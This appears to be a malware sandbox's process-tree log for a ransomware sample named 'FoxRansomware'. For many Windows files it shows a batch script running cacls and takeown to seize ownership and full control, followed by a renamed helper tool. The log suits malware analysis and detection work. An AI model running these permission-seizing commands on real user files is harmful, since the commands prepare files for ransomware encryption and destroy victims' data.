C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000070.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000070.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000070.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "00000070.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "00000070.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007A.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007A.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007A.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000007A.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000007A.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007K.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007K.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007K.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000007K.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000007K.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008J.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008J.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008J.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000008J.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000008J.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008V.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008V.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008V.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000008V.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000008V.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win32.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win32.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftLync2013Win32.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftLync2013Win32.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftLync2013Win32.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win64.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win64.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win64.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftOffice2013Win64.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftOffice2013Win64.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win64.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win64.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win64.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftSkypeForBusiness2016Win64.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftSkypeForBusiness2016Win64.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\GameDVR\KnownGameList.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\GameDVR\KnownGameList.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\GameDVR\KnownGameList.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "KnownGameList.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "KnownGameList.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "settings.dat" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "settings.dat" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Settings\settings.dat.LOG2""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Settings\settings.dat.LOG2" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\Settings\settings.dat.LOG2"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "settings.dat.LOG2" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "settings.dat.LOG2" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000G.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000G.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000G.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000000G.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000000G.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000R.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000R.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000R.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000000R.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000000R.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000015.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000015.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000015.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "00000015.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "00000015.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.f04cdd19-51d0-4625-8337-45f358d5d451.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.f04cdd19-51d0-4625-8337-45f358d5d451.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\USOShared\Logs\System\UpdateSessionOrchestration.f04cdd19-51d0-4625-8337-45f358d5d451.1.etl"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "UpdateSessionOrchestration.f04cdd19-51d0-4625-8337-45f358d5d451.1.etl" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "UpdateSessionOrchestration.f04cdd19-51d0-4625-8337-45f358d5d451.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006H.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006H.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006H.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000006H.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000006H.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "superbar.png" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "superbar.png" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\resource.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "resource.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "resource.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftLync2010.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftLync2010.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftLync2010.xml"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftLync2010.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftLync2010.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win32.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win32.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftOffice2013Win32.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftOffice2013Win32.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftOffice2013Win32.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win32.xml""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win32.xml" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\InboxTemplates\MicrosoftSkypeForBusiness2016Win32.xml"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "MicrosoftSkypeForBusiness2016Win32.xml" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "MicrosoftSkypeForBusiness2016Win32.xml" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\Microsoft\UEV\Templates\SettingsLocationTemplate2013A.xsd"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "SettingsLocationTemplate2013A.xsd" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "SettingsLocationTemplate2013A.xsd" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\All Users\USOShared\Logs\System\UpdateSessionOrchestration.9597c6cc-2302-4ae3-a665-e851ed2a5ca1.1.etl""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\All Users\USOShared\Logs\System\UpdateSessionOrchestration.9597c6cc-2302-4ae3-a665-e851ed2a5ca1.1.etl" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\All Users\USOShared\Logs\System\UpdateSessionOrchestration.9597c6cc-2302-4ae3-a665-e851ed2a5ca1.1.etl"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "UpdateSessionOrchestration.9597c6cc-2302-4ae3-a665-e851ed2a5ca1.1.etl" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "UpdateSessionOrchestration.9597c6cc-2302-4ae3-a665-e851ed2a5ca1.1.etl" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000075.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000075.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000075.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "00000075.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "00000075.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000083.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000083.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000083.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "00000083.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "00000083.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009F.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009F.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009F.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "0000009F.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "0000009F.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\FoxRansomware\iuFAQ08L.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AL.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AL.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AL.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c FCcth9iY.exe -accepteula "000000AL.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\FCcth9iY.exeFCcth9iY.exe -accepteula "000000AL.bin" -nobanner4⤵
-
-
-
